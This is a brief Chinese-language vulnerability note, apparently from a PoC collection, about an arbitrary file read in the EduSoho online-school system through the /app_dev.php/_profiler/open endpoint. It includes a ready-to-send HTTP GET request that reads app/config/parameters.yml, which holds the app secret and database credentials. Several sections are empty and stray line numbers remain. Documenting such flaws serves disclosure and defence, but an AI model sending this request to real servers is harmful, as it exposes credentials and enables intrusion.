# EduSoho 教培系统 app_dev.php 任意读取漏洞
# 漏洞描述
EduSoho 教培系统是由杭州阔知网络科技研发的开源网校系统。通过向 /app_dev.php/_profiler/open 端点发送可以读取到 app/config/parameters.yml 文件的内容，拿到该文件中保存的 secret 值以及数据库账号密码等敏感信息
# 漏洞影响
# 网络测绘
# 漏洞复现
登陆页面
验证POC
GET /app_dev.php/_profiler/open?file=app/config/parameters.yml HTTP/1.1
Host:
Accept: */*
Content-Type: application/x-www-form-urlencoded
1
2
3
4
2
3
4
